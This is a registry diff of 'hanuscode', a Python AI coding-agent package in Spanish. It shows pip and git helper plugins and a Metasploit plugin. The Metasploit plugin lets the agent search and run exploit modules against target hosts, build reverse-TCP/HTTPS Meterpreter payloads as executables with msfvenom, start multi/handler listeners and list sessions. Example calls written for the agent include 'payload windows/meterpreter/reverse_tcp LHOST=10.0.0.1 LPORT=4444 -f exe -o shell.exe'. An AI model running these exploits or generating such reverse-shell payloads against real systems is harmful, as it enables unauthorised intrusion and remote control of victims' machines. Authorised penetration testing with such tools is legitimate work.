hanuscode 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (93) hide show
  1. hanus/__init__.py +5 -0
  2. hanus/__main__.py +10 -0
  3. hanus/action_handlers.py +76 -0
  4. hanus/action_parser.py +82 -0
  5. hanus/agent_runner.py +1445 -0
  6. hanus/analysis/__init__.py +5 -0
  7. hanus/analysis/debt.py +702 -0
  8. hanus/analysis/dependencies.py +475 -0
  9. hanus/cache/__init__.py +5 -0
  10. hanus/cache/response_cache.py +560 -0
  11. hanus/config.py +401 -0
  12. hanus/connectors/__init__.py +19 -0
  13. hanus/connectors/base.py +114 -0
  14. hanus/connectors/claude_connector.py +146 -0
  15. hanus/connectors/gemini_connector.py +141 -0
  16. hanus/connectors/glm_connector.py +160 -0
  17. hanus/connectors/ollama_connector.py +174 -0
  18. hanus/connectors/openai_connector.py +122 -0
  19. hanus/connectors/registry.py +26 -0
  20. hanus/context/__init__.py +7 -0
  21. hanus/context/manager.py +837 -0
  22. hanus/context/selective.py +626 -0
  23. hanus/error_recovery/__init__.py +5 -0
  24. hanus/error_recovery/auto_fix.py +605 -0
  25. hanus/hooks/__init__.py +5 -0
  26. hanus/hooks/manager.py +247 -0
  27. hanus/instincts/__init__.py +44 -0
  28. hanus/instincts/cli.py +372 -0
  29. hanus/instincts/detector.py +281 -0
  30. hanus/instincts/evolver.py +361 -0
  31. hanus/instincts/manager.py +343 -0
  32. hanus/instincts/types.py +253 -0
  33. hanus/logger.py +81 -0
  34. hanus/memory/__init__.py +8 -0
  35. hanus/memory/manager.py +265 -0
  36. hanus/memory/types.py +119 -0
  37. hanus/monitor.py +341 -0
  38. hanus/parallel/__init__.py +5 -0
  39. hanus/parallel/executor.py +300 -0
  40. hanus/permissions.py +182 -0
  41. hanus/plan/__init__.py +8 -0
  42. hanus/plan/mode.py +267 -0
  43. hanus/plan/models.py +152 -0
  44. hanus/plugin_manager.py +754 -0
  45. hanus/plugin_registry.py +391 -0
  46. hanus/plugins/__init__.py +1 -0
  47. hanus/plugins/arena.py +630 -0
  48. hanus/plugins/code_review.py +123 -0
  49. hanus/plugins/cortex.py +1750 -0
  50. hanus/plugins/deps_check.py +27 -0
  51. hanus/plugins/git_ops.py +33 -0
  52. hanus/plugins/metasploit.py +530 -0
  53. hanus/plugins/notes.py +583 -0
  54. hanus/plugins/search_code.py +59 -0
  55. hanus/plugins/searchsploit.py +495 -0
  56. hanus/plugins/strategist.py +175 -0
  57. hanus/plugins/webui.py +5200 -0
  58. hanus/profiles.py +479 -0
  59. hanus/profiles_builtin/__init__.py +0 -0
  60. hanus/profiles_builtin/architect/profile.yaml +12 -0
  61. hanus/profiles_builtin/architect/system_prompt.txt +71 -0
  62. hanus/profiles_builtin/deep/profile.yaml +12 -0
  63. hanus/profiles_builtin/deep/system_prompt.txt +66 -0
  64. hanus/profiles_builtin/developer/__init__.py +0 -0
  65. hanus/profiles_builtin/developer/profile.yaml +9 -0
  66. hanus/profiles_builtin/developer/system_prompt.txt +176 -0
  67. hanus/profiles_builtin/speed/profile.yaml +12 -0
  68. hanus/profiles_builtin/speed/system_prompt.txt +51 -0
  69. hanus/project_tools.py +177 -0
  70. hanus/query_engine.py +1594 -0
  71. hanus/rules/__init__.py +237 -0
  72. hanus/search/__init__.py +5 -0
  73. hanus/search/semantic.py +596 -0
  74. hanus/session_manager.py +547 -0
  75. hanus/skill_manager.py +702 -0
  76. hanus/skills/__init__.py +4 -0
  77. hanus/subagent/__init__.py +8 -0
  78. hanus/subagent/agents/__init__.py +253 -0
  79. hanus/subagent/manager.py +309 -0
  80. hanus/subagent/types.py +266 -0
  81. hanus/suggestions/__init__.py +5 -0
  82. hanus/suggestions/proactive.py +451 -0
  83. hanus/tasks/__init__.py +8 -0
  84. hanus/tasks/manager.py +330 -0
  85. hanus/tasks/models.py +106 -0
  86. hanus/terminal_prompt.py +166 -0
  87. hanus/tools.py +1849 -0
  88. hanus/ui.py +939 -0
  89. hanuscode-1.0.0.dist-info/METADATA +1151 -0
  90. hanuscode-1.0.0.dist-info/RECORD +93 -0
  91. hanuscode-1.0.0.dist-info/WHEEL +5 -0
  92. hanuscode-1.0.0.dist-info/entry_points.txt +2 -0
  93. hanuscode-1.0.0.dist-info/top_level.txt +1 -0
@@ -0,0 +1,27 @@
1
+ # plugins/deps_check.py — Análisis de dependencias
2
+ import subprocess
3
+
4
+ NAME = "deps_check"
5
+ DESCRIPTION = "Analiza dependencias Python: lista, desactualizadas, árbol"
6
+ USAGE = "list | outdated | tree"
7
+ AGENT_DOC = """
8
+ - <run_plugin name="deps_check" args="list"/> Lista todos los paquetes
9
+ - <run_plugin name="deps_check" args="outdated"/> Paquetes desactualizados
10
+ - <run_plugin name="deps_check" args="tree"/> Árbol de dependencias (requiere pipdeptree)
11
+ """
12
+
13
+ def run(args: str = "") -> str:
14
+ cmd = args.strip().lower() or "list"
15
+ if cmd == "list": return _run_pip(["pip","list","--format=columns"])
16
+ if cmd == "outdated": return _run_pip(["pip","list","--outdated","--format=columns"])
17
+ if cmd == "tree":
18
+ out = _run_pip(["pipdeptree","--warn","silence"])
19
+ return out if "not found" not in out.lower() else "Instala pipdeptree: pip install pipdeptree\n\n" + _run_pip(["pip","list","--format=columns"])
20
+ return f"Comando '{cmd}' no reconocido. Usa: list, outdated, tree"
21
+
22
+ def _run_pip(command: list) -> str:
23
+ try:
24
+ r = subprocess.run(command, capture_output=True, text=True, timeout=30)
25
+ return (r.stdout or r.stderr).strip() or "Sin salida."
26
+ except FileNotFoundError: return f"Comando no encontrado: {command[0]}"
27
+ except Exception as e: return f"Error: {e}"
@@ -0,0 +1,33 @@
1
+ # plugins/git_ops.py — Operaciones Git avanzadas
2
+ import subprocess, shlex
3
+ from pathlib import Path
4
+
5
+ NAME = "git_ops"
6
+ DESCRIPTION = "Operaciones git: log, branch, stash, show, describe, remote"
7
+ USAGE = "log|branch|stash|show|remote [parámetros]"
8
+ AGENT_DOC = """
9
+ Ejemplos:
10
+ - <run_plugin name="git_ops" args="log --oneline -10"/>
11
+ - <run_plugin name="git_ops" args="branch -a"/>
12
+ - <run_plugin name="git_ops" args="stash list"/>
13
+ - <run_plugin name="git_ops" args="show HEAD"/>
14
+ - <run_plugin name="git_ops" args="remote -v"/>
15
+ """
16
+ SAFE = {"log","branch","stash","show","describe","tag","shortlog","reflog","remote","fetch","cherry"}
17
+
18
+ def run(args: str = "") -> str:
19
+ if not args.strip():
20
+ return "Indica subcomando: log, branch, stash, show, remote, fetch…"
21
+ parts = shlex.split(args)
22
+ subcmd = parts[0].lower() if parts else ""
23
+ if subcmd not in SAFE:
24
+ return f"'{subcmd}' no permitido por seguridad. Usa exec_cmd para operaciones destructivas."
25
+ try:
26
+ r = subprocess.run(["git"]+parts, cwd=Path(".").resolve(),
27
+ capture_output=True, text=True, timeout=15)
28
+ out = r.stdout.strip(); err = r.stderr.strip()
29
+ return (f"[git {subcmd}] Error:\n{err or out}" if r.returncode != 0
30
+ else out or f"[git {subcmd}] OK (sin salida)")
31
+ except FileNotFoundError: return "git no encontrado en el PATH."
32
+ except subprocess.TimeoutExpired: return "Timeout ejecutando git."
33
+ except Exception as e: return f"Error: {e}"
@@ -0,0 +1,530 @@
1
+ # plugins/metasploit.py — Metasploit Framework Integration
2
+ """
3
+ Plugin para interactuar con Metasploit Framework.
4
+ Permite ejecutar módulos, generar payloads, gestionar sesiones, etc.
5
+
6
+ Uso:
7
+ /metasploit search <módulo> — Buscar módulos
8
+ /metasploit info <módulo> — Info de un módulo
9
+ /metasploit run <módulo> [opts] — Ejecutar módulo
10
+ /metasploit payload <opts> — Generar payload con msfvenom
11
+ /metasploit sessions — Listar sesiones activas
12
+ /metasploit handler [opts] — Iniciar handler multi/handler
13
+ """
14
+ from __future__ import annotations
15
+ import subprocess
16
+ import shlex
17
+ import re
18
+ import os
19
+ import tempfile
20
+ from pathlib import Path
21
+ from typing import List, Dict, Optional, Tuple
22
+
23
+ NAME = "metasploit"
24
+ DESCRIPTION = "Control de Metasploit Framework: módulos, payloads, sesiones"
25
+ USAGE = "<comando> [args...] | search <term> | info <module> | payload <opts>"
26
+ AGENT_DOC = """
27
+ Plugin para controlar Metasploit Framework.
28
+
29
+ Comandos disponibles:
30
+ - search <término> — Buscar módulos en Metasploit
31
+ - info <módulo> — Ver información detallada de un módulo
32
+ - run <módulo> [opciones] — Ejecutar un módulo con opciones
33
+ - payload <opciones> — Generar payload con msfvenom
34
+ - handler [LPORT] — Iniciar multi/handler
35
+ - sessions — Listar sesiones activas
36
+ - connect <host> <port> — Conectar a un servicio
37
+ - db_status — Estado de la base de datos
38
+
39
+ Ejemplos:
40
+ <run_plugin name="metasploit" args="search apache"/>
41
+ <run_plugin name="metasploit" args="info exploit/multi/http/apache_mod_cgi_bash_env_exec"/>
42
+ <run_plugin name="metasploit" args="payload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe"/>
43
+ <run_plugin name="metasploit" args="handler 4444"/>
44
+ """
45
+
46
+
47
+ def _run_cmd(cmd: str, timeout: int = 120) -> Tuple[int, str, str]:
48
+ """Ejecuta un comando y retorna (returncode, stdout, stderr)."""
49
+ try:
50
+ result = subprocess.run(
51
+ cmd,
52
+ shell=True,
53
+ capture_output=True,
54
+ text=True,
55
+ timeout=timeout
56
+ )
57
+ return result.returncode, result.stdout, result.stderr
58
+ except subprocess.TimeoutExpired:
59
+ return -1, "", "Timeout expirado"
60
+ except Exception as e:
61
+ return -1, "", str(e)
62
+
63
+
64
+ def _run_msf_rc(commands: List[str], timeout: int = 300) -> Tuple[int, str, str]:
65
+ """Ejecuta comandos MSF desde un archivo RC temporal."""
66
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.rc', delete=False) as f:
67
+ for cmd in commands:
68
+ f.write(cmd + '\n')
69
+ rc_file = f.name
70
+
71
+ try:
72
+ result = subprocess.run(
73
+ f"msfconsole -q -r {shlex.quote(rc_file)}",
74
+ shell=True,
75
+ capture_output=True,
76
+ text=True,
77
+ timeout=timeout
78
+ )
79
+ return result.returncode, result.stdout, result.stderr
80
+ except subprocess.TimeoutExpired:
81
+ return -1, "", "Timeout expirado"
82
+ finally:
83
+ os.unlink(rc_file)
84
+
85
+
86
+ def _search_module(term: str) -> str:
87
+ """Busca módulos en Metasploit."""
88
+ # Usar msfconsole en modo batch para búsqueda
89
+ commands = [f"search {term}", "exit -y"]
90
+ retcode, stdout, stderr = _run_msf_rc(commands, timeout=60)
91
+
92
+ if not stdout.strip():
93
+ return f"No se encontraron módulos para: {term}"
94
+
95
+ # Parsear resultados
96
+ lines = stdout.strip().split('\n')
97
+ modules = []
98
+ in_results = False
99
+
100
+ for line in lines:
101
+ # Detectar inicio de resultados
102
+ if 'Matching Modules' in line or '----' in line:
103
+ in_results = True
104
+ continue
105
+
106
+ if not in_results:
107
+ continue
108
+
109
+ # Saltar líneas vacías o de separación
110
+ if not line.strip() or line.startswith('==='):
111
+ continue
112
+
113
+ # Parsear línea de módulo
114
+ # Formato: exploit/multi/http/xxx 2014-xx-xx excellent Apache xxx
115
+ parts = line.split()
116
+ if len(parts) >= 2 and '/' in parts[0]:
117
+ module_path = parts[0]
118
+ disclosure = parts[1] if len(parts) > 1 else ""
119
+ rank = parts[2] if len(parts) > 2 else ""
120
+ name = ' '.join(parts[3:]) if len(parts) > 3 else ""
121
+ modules.append({
122
+ 'path': module_path,
123
+ 'disclosure': disclosure,
124
+ 'rank': rank,
125
+ 'name': name
126
+ })
127
+
128
+ if not modules:
129
+ # Devolver salida original si no se pudo parsear
130
+ return stdout
131
+
132
+ output = [f"Módulos encontrados para '{term}': {len(modules)} resultados", "━" * 70]
133
+
134
+ for m in modules[:30]: # Limitar a 30 resultados
135
+ output.append(f" [{m['rank']:<10}] {m['path']}")
136
+ if m['name']:
137
+ output.append(f" {m['name'][:60]}")
138
+
139
+ if len(modules) > 30:
140
+ output.append(f"\n ... y {len(modules) - 30} más")
141
+
142
+ output.append(f"\nPara ver detalles: metasploit info <módulo>")
143
+
144
+ return "\n".join(output)
145
+
146
+
147
+ def _module_info(module_path: str) -> str:
148
+ """Obtiene información de un módulo."""
149
+ commands = [f"info {module_path}", "exit -y"]
150
+ retcode, stdout, stderr = _run_msf_rc(commands, timeout=60)
151
+
152
+ if not stdout.strip():
153
+ return f"No se encontró el módulo: {module_path}"
154
+
155
+ # La salida ya está bien formateada por msfconsole
156
+ # Solo limpiar algunas líneas innecesarias
157
+ lines = stdout.strip().split('\n')
158
+ output_lines = []
159
+ skip_empty = False
160
+
161
+ for line in lines:
162
+ # Saltar líneas de metadatos del framework
163
+ if 'metasploit framework' in line.lower():
164
+ continue
165
+ if line.strip() == '' and skip_empty:
166
+ continue
167
+ output_lines.append(line)
168
+ skip_empty = line.strip() == ''
169
+
170
+ return "\n".join(output_lines)
171
+
172
+
173
+ def _run_module(module_path: str, options: Dict[str, str]) -> str:
174
+ """Ejecuta un módulo con opciones."""
175
+ commands = [
176
+ f"use {module_path}",
177
+ ]
178
+
179
+ # Configurar opciones
180
+ for key, value in options.items():
181
+ commands.append(f"set {key} {value}")
182
+
183
+ # Ver configuración
184
+ commands.append("show options")
185
+
186
+ # Ejecutar
187
+ commands.append("run -z") # -z para no interactivo
188
+ commands.append("exit -y")
189
+
190
+ retcode, stdout, stderr = _run_msf_rc(commands, timeout=300)
191
+
192
+ if not stdout.strip():
193
+ return f"Error ejecutando módulo: {stderr}"
194
+
195
+ return stdout
196
+
197
+
198
+ def _generate_payload(payload_type: str, options: Dict[str, str],
199
+ format_type: str = "exe", output_file: str = None) -> str:
200
+ """Genera un payload con msfvenom."""
201
+ cmd_parts = ["msfvenom", "-p", payload_type]
202
+
203
+ # Añadir opciones del payload
204
+ for key, value in options.items():
205
+ cmd_parts.append(f"{key}={value}")
206
+
207
+ # Formato de salida
208
+ if format_type:
209
+ cmd_parts.extend(["-f", format_type])
210
+
211
+ # Archivo de salida
212
+ if output_file:
213
+ cmd_parts.extend(["-o", output_file])
214
+
215
+ cmd = " ".join(shlex.quote(p) if " " in p else p for p in cmd_parts)
216
+
217
+ retcode, stdout, stderr = _run_cmd(cmd, timeout=120)
218
+
219
+ if retcode != 0 and stderr:
220
+ # Verificar si es solo warning
221
+ if "Warning" in stderr and stdout:
222
+ pass # Continuar con el output
223
+ else:
224
+ return f"Error generando payload:\n{stderr}"
225
+
226
+ output = [f"Payload generado: {payload_type}", "━" * 60]
227
+
228
+ if output_file and Path(output_file).exists():
229
+ size = Path(output_file).stat().st_size
230
+ output.append(f"Archivo: {output_file} ({size:,} bytes)")
231
+ output.append(f"Formato: {format_type}")
232
+ else:
233
+ output.append("Payload (hex/base64):")
234
+ output.append(stdout[:500] if len(stdout) > 500 else stdout)
235
+
236
+ # Mostrar comando para handler
237
+ lhost = options.get('LHOST', 'TU_IP')
238
+ lport = options.get('LPORT', '4444')
239
+ output.append(f"\nPara recibir conexión, ejecuta:")
240
+ output.append(f" metasploit handler {lport}")
241
+ output.append(f"\nO en msfconsole:")
242
+ output.append(f" use exploit/multi/handler")
243
+ output.append(f" set PAYLOAD {payload_type}")
244
+ output.append(f" set LHOST {lhost}")
245
+ output.append(f" set LPORT {lport}")
246
+ output.append(f" run")
247
+
248
+ return "\n".join(output)
249
+
250
+
251
+ def _start_handler(lport: str = "4444", payload: str = None, lhost: str = "0.0.0.0") -> str:
252
+ """Inicia un handler multi/handler."""
253
+ if not payload:
254
+ payload = "windows/meterpreter/reverse_tcp"
255
+
256
+ # Crear archivo RC para handler persistente
257
+ handler_rc = f"""use exploit/multi/handler
258
+ set PAYLOAD {payload}
259
+ set LHOST {lhost}
260
+ set LPORT {lport}
261
+ set ExitOnSession false
262
+ run -j
263
+ """
264
+
265
+ # Guardar en directorio del usuario
266
+ hanus_dir = Path.home() / ".hanus"
267
+ hanus_dir.mkdir(exist_ok=True)
268
+ rc_file = hanus_dir / "handler.rc"
269
+ rc_file.write_text(handler_rc)
270
+
271
+ output = [
272
+ f"Handler configurado en puerto {lport}",
273
+ "━" * 60,
274
+ f"Payload: {payload}",
275
+ f"LHOST: {lhost}",
276
+ f"LPORT: {lport}",
277
+ "",
278
+ "Archivo RC creado:",
279
+ f" {rc_file}",
280
+ "",
281
+ "Para iniciar el handler:",
282
+ f" msfconsole -q -r {rc_file}",
283
+ "",
284
+ "O ejecuta en una terminal aparte:",
285
+ f" msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD {payload}; set LHOST {lhost}; set LPORT {lport}; run'"
286
+ ]
287
+
288
+ return "\n".join(output)
289
+
290
+
291
+ def _list_sessions() -> str:
292
+ """Lista sesiones activas de Metasploit."""
293
+ commands = ["sessions -l", "exit -y"]
294
+ retcode, stdout, stderr = _run_msf_rc(commands, timeout=30)
295
+
296
+ if not stdout.strip():
297
+ return "No hay sesiones activas o msfrpcd no está corriendo."
298
+
299
+ # Buscar patrón de sesiones
300
+ if "No active sessions" in stdout:
301
+ return "No hay sesiones activas."
302
+
303
+ return stdout
304
+
305
+
306
+ def _connect_service(host: str, port: str) -> str:
307
+ """Conecta a un servicio y ejecuta comandos básicos de enumeración."""
308
+ commands = [
309
+ f"connect {host} {port}",
310
+ "exit -y"
311
+ ]
312
+ retcode, stdout, stderr = _run_msf_rc(commands, timeout=30)
313
+
314
+ if not stdout.strip():
315
+ return f"Error conectando a {host}:{port}"
316
+
317
+ return stdout
318
+
319
+
320
+ def _db_status() -> str:
321
+ """Verifica el estado de la base de datos de Metasploit."""
322
+ commands = ["db_status", "exit -y"]
323
+ retcode, stdout, stderr = _run_msf_rc(commands, timeout=30)
324
+
325
+ if not stdout.strip():
326
+ return "No se pudo verificar el estado de la DB."
327
+
328
+ return stdout
329
+
330
+
331
+ def _list_workspaces() -> str:
332
+ """Lista workspaces de la base de datos."""
333
+ commands = ["workspace", "exit -y"]
334
+ retcode, stdout, stderr = _run_msf_rc(commands, timeout=30)
335
+
336
+ return stdout if stdout.strip() else "No hay workspaces o DB no conectada."
337
+
338
+
339
+ def _exploit_template(module_path: str) -> str:
340
+ """Genera una plantilla para usar un módulo de exploit."""
341
+ # Obtener info del módulo
342
+ commands = [f"info {module_path}", "exit -y"]
343
+ retcode, stdout, stderr = _run_msf_rc(commands, timeout=60)
344
+
345
+ # Parsear opciones requeridas
346
+ required_options = []
347
+ in_options = False
348
+
349
+ for line in stdout.split('\n'):
350
+ if 'Required Options' in line or 'Basic options' in line:
351
+ in_options = True
352
+ continue
353
+ if in_options:
354
+ if line.strip() == '' or line.startswith('==='):
355
+ break
356
+ # Parsear opción
357
+ parts = line.split()
358
+ if len(parts) >= 2:
359
+ opt_name = parts[0]
360
+ required = 'required' in line.lower() or '*' in line
361
+ if required and opt_name not in ['Name', 'Current', 'Required']:
362
+ required_options.append(opt_name)
363
+
364
+ output = [
365
+ f"PLANTILLA PARA: {module_path}",
366
+ "━" * 60,
367
+ "",
368
+ "En msfconsole:",
369
+ f" use {module_path}",
370
+ ]
371
+
372
+ for opt in required_options:
373
+ output.append(f" set {opt} <VALOR>")
374
+
375
+ output.append(" run")
376
+ output.append("")
377
+ output.append("O usar plugin metasploit:")
378
+ output.append(f" metasploit run {module_path} RHOSTS=<target> ...")
379
+
380
+ output.append("")
381
+ output.append("O como RC file:")
382
+ output.append(f" use {module_path}")
383
+
384
+ for opt in required_options:
385
+ output.append(f" set {opt} VALUE")
386
+
387
+ output.append(" run")
388
+
389
+ return "\n".join(output)
390
+
391
+
392
+ def run(args: str = "") -> str:
393
+ """Punto de entrada del plugin."""
394
+ if not args.strip():
395
+ return f"Uso: {USAGE}\n\n{AGENT_DOC}"
396
+
397
+ parts = args.strip().split(maxsplit=2)
398
+ cmd = parts[0].lower()
399
+ cmd_args = parts[1:] if len(parts) > 1 else []
400
+
401
+ # ── SEARCH ────────────────────────────────────────────────────────────
402
+ if cmd == "search":
403
+ if not cmd_args:
404
+ return "Uso: search <término>"
405
+
406
+ term = " ".join(cmd_args)
407
+ return _search_module(term)
408
+
409
+ # ── INFO ───────────────────────────────────────────────────────────────
410
+ if cmd == "info":
411
+ if not cmd_args:
412
+ return "Uso: info <módulo>\nEjemplo: info exploit/multi/http/apache_mod_cgi_bash_env_exec"
413
+
414
+ module_path = cmd_args[0]
415
+ return _module_info(module_path)
416
+
417
+ # ── RUN ────────────────────────────────────────────────────────────────
418
+ if cmd == "run":
419
+ if not cmd_args:
420
+ return "Uso: run <módulo> [OPCIONES...]\nEjemplo: run exploit/multi/http/test RHOSTS=192.168.1.1"
421
+
422
+ module_path = cmd_args[0]
423
+ options = {}
424
+
425
+ for arg in cmd_args[1:]:
426
+ if '=' in arg:
427
+ key, value = arg.split('=', 1)
428
+ options[key.strip()] = value.strip()
429
+
430
+ return _run_module(module_path, options)
431
+
432
+ # ── PAYLOAD ────────────────────────────────────────────────────────────
433
+ if cmd == "payload":
434
+ if not cmd_args:
435
+ return """Uso: payload <tipo> [opciones]
436
+
437
+ Ejemplos:
438
+ payload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444
439
+ payload linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 -f elf -o shell.elf
440
+ payload windows/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f exe -o shell.exe
441
+
442
+ Payloads comunes:
443
+ windows/meterpreter/reverse_tcp — Windows Meterpreter TCP
444
+ windows/meterpreter/reverse_https — Windows Meterpreter HTTPS
445
+ linux/x86/meterpreter/reverse_tcp — Linux Meterpreter
446
+ php/meterpreter/reverse_tcp — PHP Meterpreter
447
+ java/jsp_shell_reverse_tcp — Java JSP Shell
448
+ """
449
+
450
+ payload_type = cmd_args[0]
451
+ options = {}
452
+ format_type = "exe"
453
+ output_file = None
454
+
455
+ for arg in cmd_args[1:]:
456
+ if arg.startswith('-f='):
457
+ format_type = arg[3:]
458
+ elif arg == '-f' and cmd_args.index(arg) + 1 < len(cmd_args):
459
+ format_type = cmd_args[cmd_args.index(arg) + 1]
460
+ elif arg.startswith('-o='):
461
+ output_file = arg[3:]
462
+ elif arg == '-o' and cmd_args.index(arg) + 1 < len(cmd_args):
463
+ output_file = cmd_args[cmd_args.index(arg) + 1]
464
+ elif '=' in arg:
465
+ key, value = arg.split('=', 1)
466
+ options[key.strip()] = value.strip()
467
+
468
+ return _generate_payload(payload_type, options, format_type, output_file)
469
+
470
+ # ── HANDLER ────────────────────────────────────────────────────────────
471
+ if cmd == "handler":
472
+ lport = cmd_args[0] if cmd_args else "4444"
473
+ payload = None
474
+
475
+ for arg in cmd_args[1:]:
476
+ if arg.startswith('PAYLOAD='):
477
+ payload = arg.split('=', 1)[1]
478
+
479
+ return _start_handler(lport, payload)
480
+
481
+ # ── SESSIONS ───────────────────────────────────────────────────────────
482
+ if cmd == "sessions":
483
+ return _list_sessions()
484
+
485
+ # ── CONNECT ─────────────────────────────────────────────────────────────
486
+ if cmd == "connect":
487
+ if len(cmd_args) < 2:
488
+ return "Uso: connect <host> <puerto>"
489
+
490
+ return _connect_service(cmd_args[0], cmd_args[1])
491
+
492
+ # ── DB ──────────────────────────────────────────────────────────────────
493
+ if cmd == "db":
494
+ return _db_status()
495
+
496
+ # ── WORKSPACE ───────────────────────────────────────────────────────────
497
+ if cmd == "workspace":
498
+ return _list_workspaces()
499
+
500
+ # ── TEMPLATE ────────────────────────────────────────────────────────────
501
+ if cmd == "template":
502
+ if not cmd_args:
503
+ return "Uso: template <módulo>"
504
+
505
+ return _exploit_template(cmd_args[0])
506
+
507
+ # ── HELP ────────────────────────────────────────────────────────────────
508
+ if cmd in ("help", "info"):
509
+ return f"""Metasploit Framework Control
510
+
511
+ Comandos:
512
+ search <término> Buscar módulos
513
+ info <módulo> Ver información del módulo
514
+ run <módulo> [opts] Ejecutar módulo
515
+ payload <tipo> [opts] Generar payload con msfvenom
516
+ handler [puerto] Configurar handler
517
+ sessions Listar sesiones activas
518
+ connect <host> <port> Conectar a servicio
519
+ db Estado de base de datos
520
+ workspace Listar workspaces
521
+ template <módulo> Generar plantilla de uso
522
+
523
+ Ejemplos:
524
+ metasploit search apache
525
+ metasploit info exploit/multi/http/shellshock
526
+ metasploit payload windows/meterpreter/reverse_tcp LHOST=10.0.0.1
527
+ metasploit handler 4444
528
+ """
529
+
530
+ return f"Comando desconocido: {cmd}\nUsa: metasploit help"